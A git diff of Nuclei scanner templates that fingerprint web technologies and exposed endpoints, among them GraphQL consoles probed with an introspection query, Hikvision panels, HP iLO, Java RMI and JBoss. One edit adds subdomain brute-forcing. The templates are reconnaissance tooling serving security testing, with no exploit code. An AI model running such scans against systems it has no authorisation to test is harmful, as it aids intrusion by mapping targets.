"{{BaseURL}}/v1/graphiql/finland" + - "{{BaseURL}}/v1/graphql" + - "{{BaseURL}}/v1/graphql-explorer" + - "{{BaseURL}}/v1/graphql.php" + - "{{BaseURL}}/v1/graphql/console" + - "{{BaseURL}}/v1/graphql/schema.json" + - "{{BaseURL}}/v1/graphql/schema.xml" + - "{{BaseURL}}/v1/graphql/schema.yaml" + - "{{BaseURL}}/v1/playground" + - "{{BaseURL}}/v1/subscriptions" - "{{BaseURL}}/v2" + - "{{BaseURL}}/v2/altair" + - "{{BaseURL}}/v2/api/graphql" + - "{{BaseURL}}/v2/explorer" + - "{{BaseURL}}/v2/graph" + - "{{BaseURL}}/v2/graphiql" + - "{{BaseURL}}/v2/graphiql.css" + - "{{BaseURL}}/v2/graphiql.js" + - "{{BaseURL}}/v2/graphiql.min.css" + - "{{BaseURL}}/v2/graphiql.min.js" + - "{{BaseURL}}/v2/graphiql.php" + - "{{BaseURL}}/v2/graphiql/finland" + - "{{BaseURL}}/v2/graphql" + - "{{BaseURL}}/v2/graphql-explorer" + - "{{BaseURL}}/v2/graphql.php" + - "{{BaseURL}}/v2/graphql/console" + - "{{BaseURL}}/v2/graphql/schema.json" + - "{{BaseURL}}/v2/graphql/schema.xml" + - "{{BaseURL}}/v2/graphql/schema.yaml" + - "{{BaseURL}}/v2/playground" + - "{{BaseURL}}/v2/subscriptions" - "{{BaseURL}}/v3" - - "{{BaseURL}}/graphql-console" - - "{{BaseURL}}/query-laravel" - - "{{BaseURL}}/v3/subscriptions" + - "{{BaseURL}}/v3/altair" + - "{{BaseURL}}/v3/api/graphql" + - "{{BaseURL}}/v3/explorer" + - "{{BaseURL}}/v3/graph" + - "{{BaseURL}}/v3/graphiql" + - "{{BaseURL}}/v3/graphiql.css" + - "{{BaseURL}}/v3/graphiql.js" + - "{{BaseURL}}/v3/graphiql.min.css" + - "{{BaseURL}}/v3/graphiql.min.js" + - "{{BaseURL}}/v3/graphiql.php" + - "{{BaseURL}}/v3/graphiql/finland" + - "{{BaseURL}}/v3/graphql" + - "{{BaseURL}}/v3/graphql-explorer" + - "{{BaseURL}}/v3/graphql.php" + - "{{BaseURL}}/v3/graphql/console" + - "{{BaseURL}}/v3/graphql/schema.json" - "{{BaseURL}}/v3/graphql/schema.xml" - "{{BaseURL}}/v3/graphql/schema.yaml" - "{{BaseURL}}/v3/playground" - - "{{BaseURL}}/v3/graphql/schema.json" - - "{{BaseURL}}/graphql/schema.yaml" - - "{{BaseURL}}/graphql/schema.xml" - - "{{BaseURL}}/graphql/schema.json" - - "{{BaseURL}}/graphiql/finland" - - "{{BaseURL}}/graphiql.css" - - "{{BaseURL}}/graphql-devtools" - - "{{BaseURL}}/graphql/v1" - - "{{BaseURL}}/v1/graphql" - - "{{BaseURL}}/api/graphql/v1" - - "{{BaseURL}}/portal-graphql" - - "{{BaseURL}}/graphql-playground" - - "{{BaseURL}}/laravel-graphql-playground" - - "{{BaseURL}}/query-explorer" - - "{{BaseURL}}/sphinx-graphiql" - - "{{BaseURL}}/express-graphql" - - "{{BaseURL}}/query" - - "{{BaseURL}}/HyperGraphQL" - - "{{BaseURL}}/graphql/graphql-playground" - - "{{BaseURL}}/graphql-playground-html" - - "{{BaseURL}}/graph_cms" - - "{{BaseURL}}/query-api" - - "{{BaseURL}}/api/cask/graphql-playground" - - "{{BaseURL}}/altair" - - "{{BaseURL}}/playground" - + - "{{BaseURL}}/v3/subscriptions" + - "{{BaseURL}}/v4/altair" + - "{{BaseURL}}/v4/api/graphql" + - "{{BaseURL}}/v4/explorer" + - "{{BaseURL}}/v4/graph" + - "{{BaseURL}}/v4/graphiql" + - "{{BaseURL}}/v4/graphiql.css" + - "{{BaseURL}}/v4/graphiql.js" + - "{{BaseURL}}/v4/graphiql.min.css" + - "{{BaseURL}}/v4/graphiql.min.js" + - "{{BaseURL}}/v4/graphiql.php" + - "{{BaseURL}}/v4/graphiql/finland" + - "{{BaseURL}}/v4/graphql" + - "{{BaseURL}}/v4/graphql-explorer" + - "{{BaseURL}}/v4/graphql.php" + - "{{BaseURL}}/v4/graphql/console" + - "{{BaseURL}}/v4/graphql/schema.json" + - "{{BaseURL}}/v4/graphql/schema.xml" + - "{{BaseURL}}/v4/graphql/schema.yaml" + - "{{BaseURL}}/v4/playground" + - "{{BaseURL}}/v4/subscriptions" headers: Content-Type: application/json - body: '{"query":"query IntrospectionQuery{__schema {queryType { name }}}"}' - + stop-at-first-match: true matchers-condition: and matchers: - type: status status: - 200 - + - type: word + part: header + words: + - "application/json" - type: regex regex: - "__schema" - "(Introspection|INTROSPECTION|introspection).*?" - ".*?operation not found.*?" - condition: or \ No newline at end of file + condition: or diff --git a/poc/detect/grav-cms-detect-7842.yaml b/poc/detect/grav-cms-detect-7842.yaml index 5cadb73dfb..168a866015 100644 --- a/poc/detect/grav-cms-detect-7842.yaml +++ b/poc/detect/grav-cms-detect-7842.yaml @@ -5,9 +5,8 @@ info: author: cyllective severity: info description: Detects Grav CMS - reference: - - https://github.com/getgrav/grav tags: tech,grav,cms + reference: https://github.com/getgrav/grav requests: - method: GET diff --git a/poc/detect/grav-cms-detect-7843.yaml b/poc/detect/grav-cms-detect-7843.yaml deleted file mode 100644 index 168a866015..0000000000 --- a/poc/detect/grav-cms-detect-7843.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: grav-cms-detect - -info: - name: Grav CMS Detect - author: cyllective - severity: info - description: Detects Grav CMS - tags: tech,grav,cms - reference: https://github.com/getgrav/grav - -requests: - - method: GET - path: - - "{{BaseURL}}" - - matchers-condition: or - matchers: - - - type: word - part: header - words: - - 'Set-Cookie: grav-site-' - - - type: word - part: body - words: - - '' \ No newline at end of file diff --git a/poc/detect/grav-cms-detect-7844.yaml b/poc/detect/grav-cms-detect-7844.yaml deleted file mode 100644 index 39d30b35d6..0000000000 --- a/poc/detect/grav-cms-detect-7844.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: grav-cms-detect -info: - name: Grav CMS Detect - author: cyllective - severity: info - description: Detects Grav CMS - reference: - - https://github.com/getgrav/grav - tags: tech,grav,cms -requests: - - method: GET - path: - - "{{BaseURL}}" - matchers-condition: or - matchers: - - type: word - part: header - words: - - 'Set-Cookie: grav-site-' - - type: word - part: body - words: - - '' diff --git a/poc/detect/gunicorn-detect-7862.yaml b/poc/detect/gunicorn-detect-7862.yaml index 213a12329d..69f286e77b 100644 --- a/poc/detect/gunicorn-detect-7862.yaml +++ b/poc/detect/gunicorn-detect-7862.yaml @@ -1,23 +1,18 @@ id: gunicorn-detect - info: name: Detect Gunicorn Server author: joanbono + description: Gunicorn Python WSGI HTTP Server for UNIX - https://github.com/benoitc/gunicorn severity: info - description: Gunicorn Python WSGI HTTP Server for UNIX - reference: - - https://github.com/benoitc/gunicorn - metadata: - max-request: 1 - tags: tech,gunicorn -http: +requests: - method: GET path: - "{{BaseURL}}" matchers-condition: and matchers: + - type: regex part: header regex: @@ -28,5 +23,3 @@ http: part: header kval: - Server - -# digest: 4b0a00483046022100d734cd5ee28bcf3cf07a75b40a69dde7ef4a488ebbddb46076cbd02dba7ae31602210097b11a6429b3e67ec8312fada1e0cffc88e40f25ad08f0814e47eda77f4abe2e:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/gunicorn-detect-7864.yaml b/poc/detect/gunicorn-detect-7864.yaml index b004233e04..213a12329d 100644 --- a/poc/detect/gunicorn-detect-7864.yaml +++ b/poc/detect/gunicorn-detect-7864.yaml @@ -7,16 +7,17 @@ info: description: Gunicorn Python WSGI HTTP Server for UNIX reference: - https://github.com/benoitc/gunicorn + metadata: + max-request: 1 tags: tech,gunicorn -requests: +http: - method: GET path: - "{{BaseURL}}" matchers-condition: and matchers: - - type: regex part: header regex: @@ -27,3 +28,5 @@ requests: part: header kval: - Server + +# digest: 4b0a00483046022100d734cd5ee28bcf3cf07a75b40a69dde7ef4a488ebbddb46076cbd02dba7ae31602210097b11a6429b3e67ec8312fada1e0cffc88e40f25ad08f0814e47eda77f4abe2e:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/hanwang-detect-7881.yaml b/poc/detect/hanwang-detect-7881.yaml index 2fd4c30f7c..12cecf301d 100644 --- a/poc/detect/hanwang-detect-7881.yaml +++ b/poc/detect/hanwang-detect-7881.yaml @@ -5,16 +5,18 @@ info: author: ffffffff0x severity: info metadata: - fofa-query: "汉王人脸考勤管理系统" - tags: hanwang + max-request: 1 + fofa-query: 汉王人脸考勤管理系统 + tags: hanwang,tech -requests: +http: - method: GET path: - "{{BaseURL}}" - redirects: true + host-redirects: true max-redirects: 2 + matchers-condition: and matchers: - type: word @@ -24,4 +26,6 @@ requests: - type: status status: - - 200 \ No newline at end of file + - 200 + +# digest: 490a0046304402205ae57bfcf6c37f3aa06bc3ce46b5ac0e240897b665682cfa0adc07b3b6391e9b022028ed6f2d8f216e533d0f910177151f366eb239ddf3f6fa1b6b1768d3fb5ce2c7:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/hanwang-detect.yaml b/poc/detect/hanwang-detect.yaml deleted file mode 100644 index 78f8b1c7db..0000000000 --- a/poc/detect/hanwang-detect.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: hanwang-detect -info: - name: hanwang-detect - author: ffffffff0x - severity: info - metadata: - fofa-query: "汉王人脸考勤管理系统" - tags: hanwang -requests: - - method: GET - path: - - "{{BaseURL}}" - redirects: true - max-redirects: 2 - matchers-condition: and - matchers: - - type: word - words: - - "汉王人脸考勤管理系统" - part: body - - type: status - status: - - 200 diff --git a/poc/detect/harbor-detect.yaml b/poc/detect/harbor-detect.yaml new file mode 100644 index 0000000000..00547129c7 --- /dev/null +++ b/poc/detect/harbor-detect.yaml @@ -0,0 +1,40 @@ +id: harbor-detect + +info: + name: Harbor Detect + author: pikpikcu,daffainfo + severity: info + description: Harbor is an open source trusted cloud native registry project that stores, signs, and scans content. + reference: + - https://github.com/goharbor/harbor + metadata: + verified: true + max-request: 1 + shodan-query: http.favicon.hash:657337228 + tags: tech,harbor + +http: + - method: GET + path: + - '{{BaseURL}}/api/v2.0/systeminfo' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"auth_mode"' + - '"harbor_version"' + condition: and + + - type: status + status: + - 200 + + extractors: + - type: regex + group: 1 + regex: + - '(?m)"harbor_version":"([0-9.]+)",' + +# digest: 4a0a00473045022061d4de8e1ef8fe877025982b2a12bf360b67aadd87a5259123cebbe3060b8192022100bccaa03de1e908023e51cb55a07fc7304d44d01c076b41c4c55fc0e4eb69c146:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/herokuapp-detect-7938.yaml b/poc/detect/herokuapp-detect-7938.yaml deleted file mode 100644 index 8aa47adb41..0000000000 --- a/poc/detect/herokuapp-detect-7938.yaml +++ /dev/null @@ -1,19 +0,0 @@ -id: herokuapp-detect - -info: - name: Detect websites using Herokuapp endpoints - author: alifathi-h1 - severity: info - description: Detected endpoints might be vulnerable to subdomain takeover or disclose sensitive info - tags: heroku,tech - -requests: - - method: GET - path: - - "{{BaseURL}}" - - extractors: - - type: regex - part: body - regex: - - "[a-z0-9.-]+\\.herokuapp\\.com" diff --git a/poc/detect/herokuapp-detect.yaml b/poc/detect/herokuapp-detect.yaml index 265fd85f01..6b120dbcd4 100644 --- a/poc/detect/herokuapp-detect.yaml +++ b/poc/detect/herokuapp-detect.yaml @@ -1,16 +1,23 @@ id: herokuapp-detect + info: name: Detect websites using Herokuapp endpoints author: alifathi-h1 severity: info description: Detected endpoints might be vulnerable to subdomain takeover or disclose sensitive info + metadata: + max-request: 1 tags: heroku,tech -requests: + +http: - method: GET path: - "{{BaseURL}}" + extractors: - type: regex part: body regex: - "[a-z0-9.-]+\\.herokuapp\\.com" + +# digest: 490a0046304402201c37a0dbda40da36d8d29875c1027f9eda0fea8818986e65cbfbd242de2cf5d202206f35a8afa6d636cbb492ec9a2bbd64a463c23599725cf1db5bdf376dbac40975:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/hikvision-detect.yaml b/poc/detect/hikvision-detect.yaml new file mode 100644 index 0000000000..dbfcee8a82 --- /dev/null +++ b/poc/detect/hikvision-detect.yaml @@ -0,0 +1,39 @@ +id: hikvision-detect + +info: + name: Hikvision Panel + author: pdteam,its0x08 + severity: info + metadata: + verified: true + max-request: 2 + shodan-query: http.favicon.hash:999357577 + tags: tech,hikvision + +http: + - method: GET + path: + - "{{BaseURL}}/favicon.ico" + - "{{BaseURL}}/doc/page/login.asp" + + stop-at-first-match: true + + matchers-condition: or + matchers: + - type: word + part: body + words: + - "Hikvision Digital Technology" + + - type: word + name: server + part: header + words: + - "Hikvision-Webs" + + - type: dsl + name: favicon + dsl: + - "'999357577' == mmh3(base64_py(body))" + +# digest: 490a0046304402205697588f5a41b6aa1f491fbea1cafed2fd716b9fc58897b06584b1affbe2769e022056276cf298f0ace09edf2350f58b4272dc2f82c47e9c2c1e606acdf397e99803:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/hikvision-detection-7954.yaml b/poc/detect/hikvision-detection-7954.yaml index 39120f0741..7c6f18dda0 100644 --- a/poc/detect/hikvision-detection-7954.yaml +++ b/poc/detect/hikvision-detection-7954.yaml @@ -1,23 +1,25 @@ id: hikvision-detection + info: name: Hikvision Detection author: pdteam severity: info tags: tech,hikvision + requests: - method: GET path: - "{{BaseURL}}/favicon.ico" - "{{BaseURL}}/doc/page/login.asp" - - "{{BaseURL}}/doc/script/common.js" + stop-at-first-match: true matchers-condition: or matchers: - type: word - name: footer words: - "Hikvision Digital Technology" + - type: dsl name: favicon dsl: - - "status_code==200 && ('999357577' == mmh3(base64_py(body)))" + - "status_code==200 && ('999357577' == mmh3(base64_py(body)))" \ No newline at end of file diff --git a/poc/detect/hikvision-detection.yaml b/poc/detect/hikvision-detection.yaml index 7c6f18dda0..a1aba29825 100644 --- a/poc/detect/hikvision-detection.yaml +++ b/poc/detect/hikvision-detection.yaml @@ -1,25 +1,21 @@ id: hikvision-detection - info: name: Hikvision Detection author: pdteam severity: info tags: tech,hikvision - requests: - method: GET path: - "{{BaseURL}}/favicon.ico" - "{{BaseURL}}/doc/page/login.asp" - stop-at-first-match: true matchers-condition: or matchers: - type: word words: - "Hikvision Digital Technology" - - type: dsl name: favicon dsl: - - "status_code==200 && ('999357577' == mmh3(base64_py(body)))" \ No newline at end of file + - "status_code==200 && ('999357577' == mmh3(base64_py(body)))" diff --git a/poc/detect/hp-blade-admin-detect-8005.yaml b/poc/detect/hp-blade-admin-detect.yaml similarity index 100% rename from poc/detect/hp-blade-admin-detect-8005.yaml rename to poc/detect/hp-blade-admin-detect.yaml diff --git a/poc/detect/hp-device-info-detect-8009.yaml b/poc/detect/hp-device-info-detect-8009.yaml new file mode 100644 index 0000000000..b4424b8953 --- /dev/null +++ b/poc/detect/hp-device-info-detect-8009.yaml @@ -0,0 +1,22 @@ +id: hp-device-info-detect +info: + name: HP LaserJet + author: pussycat0x + severity: low + reference: https://www.exploit-db.com/ghdb/6905 + tags: iot,hp +requests: + - method: GET + path: + - "{{BaseURL}}/hp/device/DeviceInformation/View" + matchers-condition: and + matchers: + - type: word + words: + - "Device Information" + - "hp" + condition: and + + - type: status + status: + - 200 \ No newline at end of file diff --git a/poc/detect/hp-device-info-detect-8010.yaml b/poc/detect/hp-device-info-detect-8010.yaml deleted file mode 100644 index 56bc5f52e9..0000000000 --- a/poc/detect/hp-device-info-detect-8010.yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: hp-device-info-detect - -info: - name: HP LaserJet - - author: pussycat0x - - severity: low - - reference: https://www.exploit-db.com/ghdb/6905 - - tags: iot,hp - -requests: - - method: GET - - path: - - "{{BaseURL}}/hp/device/DeviceInformation/View" - - matchers-condition: and - - matchers: - - type: word - - words: - - "Device Information" - - - "hp" - - condition: and - - - type: status - - status: - - 200 diff --git a/poc/detect/hp-device-info-detect.yaml b/poc/detect/hp-device-info-detect.yaml index 007a0ebc08..56bc5f52e9 100644 --- a/poc/detect/hp-device-info-detect.yaml +++ b/poc/detect/hp-device-info-detect.yaml @@ -1,29 +1,35 @@ id: hp-device-info-detect info: - name: HP Device Info Detection + name: HP LaserJet + author: pussycat0x + severity: low + reference: https://www.exploit-db.com/ghdb/6905 - metadata: - max-request: 1 + tags: iot,hp -http: +requests: - method: GET + path: - "{{BaseURL}}/hp/device/DeviceInformation/View" matchers-condition: and + matchers: - type: word + words: - "Device Information" + - "hp" + condition: and - type: status + status: - 200 - -# digest: 4a0a004730450221009ef90296c08af17225650eea1128016a1bbbe7bea6922369baf74fda8f42ad5d02204af452de62f72e34736eb587a70a5b08b0c056815a2843a6b86274267f9ce721:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/hp-media-vault-detect-8031.yaml b/poc/detect/hp-media-vault-detect-8031.yaml new file mode 100644 index 0000000000..a46b9ea941 --- /dev/null +++ b/poc/detect/hp-media-vault-detect-8031.yaml @@ -0,0 +1,28 @@ +id: hp-media-vault-detect + +info: + name: HP Media Vault Detect + author: pussycat0x + severity: info + metadata: + max-request: 1 + fofa-query: 'app="HP-Media-Vault-Media-Server"' + tags: tech,hp + +http: + - method: GET + path: + - "{{BaseURL}}" + + matchers-condition: and + matchers: + - type: word + words: + - "HP Media Vault" + part: body + + - type: status + status: + - 200 + +# digest: 4a0a00473045022100fc9ab211e2499388116132705cfcffb8c9cfab003d04c3523da6125eeb044ea8022061c2df032c726f6c0795e3125ec64a59c909ce9cab03fe302668dc699ed512bc:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/hp-media-vault-detect.yaml b/poc/detect/hp-media-vault-detect.yaml deleted file mode 100644 index 8731f6e1bc..0000000000 --- a/poc/detect/hp-media-vault-detect.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: hp-media-vault-detect - -info: - name: HP Media Vault Detect - author: pussycat0x - severity: info - metadata: - fofa-query: 'app="HP-Media-Vault-Media-Server"' - tags: tech,hp - -requests: - - method: GET - path: - - "{{BaseURL}}" - - matchers-condition: and - matchers: - - type: word - words: - - "<title>HP Media Vault" - part: body - - - type: status - status: - - 200 diff --git a/poc/detect/iis-errorpage-detection-all-lang.yaml b/poc/detect/iis-errorpage-detection-all-lang.yaml index 2843df2ecc..2e826ee434 100644 --- a/poc/detect/iis-errorpage-detection-all-lang.yaml +++ b/poc/detect/iis-errorpage-detection-all-lang.yaml @@ -1,16 +1,18 @@ id: default-iis7-page + info: - name: IIS Error page on css all languages - author: yavolo + name: IIS-7 Default Page + author: dhiyaneshDk severity: info tags: tech,iis - reference: https://github.com/yavolo/nuclei-templates/ + reference: https://www.shodan.io/search?query=http.title%3A%22IIS7%22 + requests: - method: GET path: - - '{{BaseURL}}/does-not-exist-iis-404' + - '{{BaseURL}}' matchers: - - type: regex - regex: - - "#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:" + - type: word + words: + - "<title>IIS7" part: body diff --git a/poc/detect/ilo-detect-8155.yaml b/poc/detect/ilo-detect-8155.yaml index 24e1120a39..6eeff924eb 100644 --- a/poc/detect/ilo-detect-8155.yaml +++ b/poc/detect/ilo-detect-8155.yaml @@ -5,11 +5,9 @@ info: author: milo2012 severity: info description: Version of HP iLO - metadata: - max-request: 1 tags: tech,ilo -http: +requests: - method: GET path: - "{{BaseURL}}/xmldata?item=all" @@ -37,5 +35,3 @@ http: group: 1 regex: - "([0-9.]+)" - -# digest: 4a0a0047304502207ec581644d22a6774e2b9dda90cd8bffc5237a8bc343d1a78d5fab31c5376d5b0221008a4b99340d20124f4528428ba9fd4d056706ddd148ee701cd803d21dbb06afe9:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/ilo-detect-8156.yaml b/poc/detect/ilo-detect-8156.yaml deleted file mode 100644 index 6eeff924eb..0000000000 --- a/poc/detect/ilo-detect-8156.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: ilo-detect - -info: - name: HP iLO - author: milo2012 - severity: info - description: Version of HP iLO - tags: tech,ilo - -requests: - - method: GET - path: - - "{{BaseURL}}/xmldata?item=all" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - text/xml - part: header - - - type: word - words: - - - - - condition: and - - extractors: - - type: regex - part: body - group: 1 - regex: - - "([0-9.]+)" diff --git a/poc/detect/ilo-detect-8154.yaml b/poc/detect/ilo-detect.yaml similarity index 100% rename from poc/detect/ilo-detect-8154.yaml rename to poc/detect/ilo-detect.yaml diff --git a/poc/detect/imap-detect.yaml b/poc/detect/imap-detect.yaml new file mode 100644 index 0000000000..22d2ec0ada --- /dev/null +++ b/poc/detect/imap-detect.yaml @@ -0,0 +1,33 @@ +id: imap-detect + +info: + name: IMAP - Detect + author: pussycat0x + severity: info + description: | + IMAP was detected. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cwe-id: CWE-200 + metadata: + max-request: 1 + shodan-query: imap + verified: true + tags: network,detect,imap,mail + +tcp: + - inputs: + - data: "\n" + + host: + - "{{Hostname}}" + port: 143 + + matchers-condition: and + matchers: + - type: word + words: + - "OK " + - "IMAP4rev1" + condition: and +# digest: 490a0046304402200c8953f536fe7639dd9de632c7e2d08569fa5fac41af6bed372494f4fc9d11c7022014d27d65e4ed3ef40443b298560a40c514309b3631f7ccfe85a381e716f7dd67:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/itop-detect-8201.yaml b/poc/detect/itop-detect-8201.yaml index daf68e81e2..da91475e93 100644 --- a/poc/detect/itop-detect-8201.yaml +++ b/poc/detect/itop-detect-8201.yaml @@ -1,24 +1,19 @@ id: itop-detect - info: name: iTop Detect author: pikpikcu severity: info tags: tech,itop - requests: - method: GET path: - "{{BaseURL}}/pages/UI.php" - matchers-condition: and matchers: - - type: word part: body words: - "iTop login" - - type: status status: - 200 diff --git a/poc/detect/jaspersoft-detect-8220.yaml b/poc/detect/jaspersoft-detect-8220.yaml new file mode 100644 index 0000000000..9624bde60a --- /dev/null +++ b/poc/detect/jaspersoft-detect-8220.yaml @@ -0,0 +1,16 @@ +id: Jaspersoft-detect +info: + name: Jaspersoft detected + author: koti2 + severity: info +requests: + - method: GET + path: + - "{{BaseURL}}/jasperserver/login.html?error=1" + matchers: + - type: word + words: + - "TIBCO Jaspersoft: Login" + - "Could not login to JasperReports Server" + - "About TIBCO JasperReports Server" + condition: or diff --git a/poc/detect/java-rmi-detect-8227.yaml b/poc/detect/java-rmi-detect-8227.yaml deleted file mode 100644 index af81d36719..0000000000 --- a/poc/detect/java-rmi-detect-8227.yaml +++ /dev/null @@ -1,17 +0,0 @@ -id: java-rmi-detect -info: - name: Detect Java RMI Protocol - author: F1tz - severity: info - tags: network,rmi,java -network: - - inputs: - - data: "{{hex_decode('4a524d4900024b')}}" - host: - - "{{Hostname}}" - read-size: 1024 - matchers: - - type: regex - part: raw - regex: - - "^N\\x00\\x0e(\\d{1,3}\\.){3}\\d{1,3}\\x00\\x00" diff --git a/poc/detect/java-rmi-detect-8228.yaml b/poc/detect/java-rmi-detect-8228.yaml index 798a559d01..423ca82cca 100644 --- a/poc/detect/java-rmi-detect-8228.yaml +++ b/poc/detect/java-rmi-detect-8228.yaml @@ -1,19 +1,15 @@ id: java-rmi-detect - info: name: Detect Java RMI Protocol author: F1tz severity: info - tags: network,rmi,java - + tags: network,rmi network: - inputs: - data: "{{hex_decode('4a524d4900024b')}}" - host: - "{{Hostname}}" read-size: 1024 - matchers: - type: regex part: raw diff --git a/poc/detect/java-rmi-detect.yaml b/poc/detect/java-rmi-detect.yaml new file mode 100644 index 0000000000..527a054c22 --- /dev/null +++ b/poc/detect/java-rmi-detect.yaml @@ -0,0 +1,28 @@ +id: java-rmi-detect + +info: + name: Java Remote Method Invocation Protocol - Detect + author: F1tz + severity: info + description: | + Java Remote Method Invocation protocol is susceptible to information disclosure. It allows for unauthenticated network attacks, which can result in unauthorized operating system takeover including arbitrary code execution. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 + cwe-id: CWE-200 + metadata: + max-request: 1 + tags: network,rmi,java,detect +tcp: + - inputs: + - data: "{{hex_decode('4a524d4900024b')}}" + host: + - "{{Hostname}}" + read-size: 1024 + matchers: + - type: regex + part: raw + regex: + - "^N\\x00\\x0e(\\d{1,3}\\.){3}\\d{1,3}\\x00\\x00" + +# digest: 4a0a004730450221009e1ecd6d2259d8fdcd354539e9c5d2e2597da688f42a9aa4e7258bc71db9918a02203a9cde48f930aade07360b4a20bef4c687c07054876aa0d60a66f9a2ffda1b2a:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/jboss-detect-8237.yaml b/poc/detect/jboss-detect-8237.yaml new file mode 100644 index 0000000000..60ff7c4263 --- /dev/null +++ b/poc/detect/jboss-detect-8237.yaml @@ -0,0 +1,34 @@ +id: jboss-detect + +info: + name: JBoss detected + author: daffainfo,idealphase + severity: info + metadata: + max-request: 1 + tags: tech,jboss + +http: + - method: GET + path: + - "{{BaseURL}}" + + matchers: + - type: word + part: body + words: + - "JBoss EAP 7" + + - type: regex + part: body + regex: + - 'Welcome to JBoss(.*)' + + extractors: + - type: regex + group: 1 + part: body + regex: + - '

Welcome to (.+)<\/h1>' + +# digest: 4b0a00483046022100b488feb9a7d6bbd8d4ceec1967573e5e3542fd60aabf3907e4efd1ca38b04d72022100fdb27201765aee45879b67d7b2473e3bf60d789735a2bc3525c381bb4c8241df:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/jboss-detect.yaml b/poc/detect/jboss-detect.yaml deleted file mode 100644 index d70d98fc0e..0000000000 --- a/poc/detect/jboss-detect.yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: jboss-detect -info: - name: JBoss detected - author: daffainfo - severity: info - tags: tech,jboss -requests: - - method: GET - path: - - "{{BaseURL}}" - matchers-condition: and - matchers: - - type: word - part: body - words: - - "Welcome to JBoss AS" - - "Welcome to JBoss Application Server" - - "JBoss EAP 7" - condition: or - - type: status - status: - - 200 diff --git a/poc/detect/jeecg-boot-detect-8248.yaml b/poc/detect/jeecg-boot-detect-8248.yaml new file mode 100644 index 0000000000..36f41942a3 --- /dev/null +++ b/poc/detect/jeecg-boot-detect-8248.yaml @@ -0,0 +1,29 @@ +id: jeecg-boot-detect + +info: + name: Jeecg-Boot Detect + author: pikpikcu + severity: info + reference: + - http://www.jeecg.com/ + metadata: + max-request: 2 + fofa-query: title="Jeecg-Boot" + tags: jeecg-boot,tech + +http: + - method: GET + path: + - "{{BaseURL}}" + - "{{BaseURL}}/jeecg-boot/" + + stop-at-first-match: true + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "Jeecg-Boot" + +# digest: 490a00463044022001a31aa66fe94e9217ab94ec8b12b379debf3f8e31956d78e0eb23606ac1cc9202202e69fbd4553fed114ef2923d7e9d769f8f8b75a57adc610b43f5dd29914e690d:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/jeecg-boot-detect.yaml b/poc/detect/jeecg-boot-detect.yaml deleted file mode 100644 index b2d957ede0..0000000000 --- a/poc/detect/jeecg-boot-detect.yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: jeecg-boot-detect -info: - name: Jeecg-Boot Detect - author: pikpikcu - severity: info - reference: - - http://www.jeecg.com/ - metadata: - fofa-query: title="Jeecg-Boot" - tags: jeecg-boot,tech -requests: - - method: GET - path: - - "{{BaseURL}}" - - "{{BaseURL}}/jeecg-boot/" - stop-at-first-match: true - matchers-condition: and - matchers: - - type: word - part: body - words: - - "Jeecg-Boot" diff --git a/poc/detect/jeedom-detect-8249.yaml b/poc/detect/jeedom-detect-8249.yaml deleted file mode 100644 index b7c3ef8645..0000000000 --- a/poc/detect/jeedom-detect-8249.yaml +++ /dev/null @@ -1,19 +0,0 @@ -id: jeedom-detect -info: - name: Jeedom Detect - author: pikpikcu - severity: info - tags: tech,jeedom -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?v=d" - matchers-condition: and - matchers: - - type: word - part: body - words: - - "<title>Jeedom" - - type: status - status: - - 200 diff --git a/poc/detect/jeedom-detect-8251.yaml b/poc/detect/jeedom-detect-8251.yaml new file mode 100644 index 0000000000..4154e6b7d0 --- /dev/null +++ b/poc/detect/jeedom-detect-8251.yaml @@ -0,0 +1,24 @@ +id: jeedom-detect + +info: + name: Jeedom Detect + author: pikpikcu + severity: info + tags: tech,jeedom + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?v=d" + + matchers-condition: and + matchers: + + - type: word + part: body + words: + - "Jeedom" + + - type: status + status: + - 200 diff --git a/poc/detect/jeedom-detect.yaml b/poc/detect/jeedom-detect.yaml index 4154e6b7d0..09ca14fa5f 100644 --- a/poc/detect/jeedom-detect.yaml +++ b/poc/detect/jeedom-detect.yaml @@ -7,10 +7,19 @@ info: tags: tech,jeedom requests: - - method: GET - path: - - "{{BaseURL}}/index.php?v=d" + - payloads: + Subdomains: /home/mahmoud/Wordlist/AllSubdomains.txt + attack: sniper + threads: 100 + raw: + - | + GET /index.php?v=d HTTP/1.1 + Host: {{Subdomains}} + User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 + Accept-Encoding: gzip, deflate + Accept: */* + matchers-condition: and matchers: diff --git a/poc/detect/jellyfin-detect-8257.yaml b/poc/detect/jellyfin-detect-8257.yaml new file mode 100644 index 0000000000..42ad2b8aa3 --- /dev/null +++ b/poc/detect/jellyfin-detect-8257.yaml @@ -0,0 +1,30 @@ +id: jellyfin-detect +info: + name: Jellyfin detected + author: dwisiswant0 + severity: info + metadata: + verified: true + shodan-query: http.html:"Jellyfin" + tags: tech,jellyfin 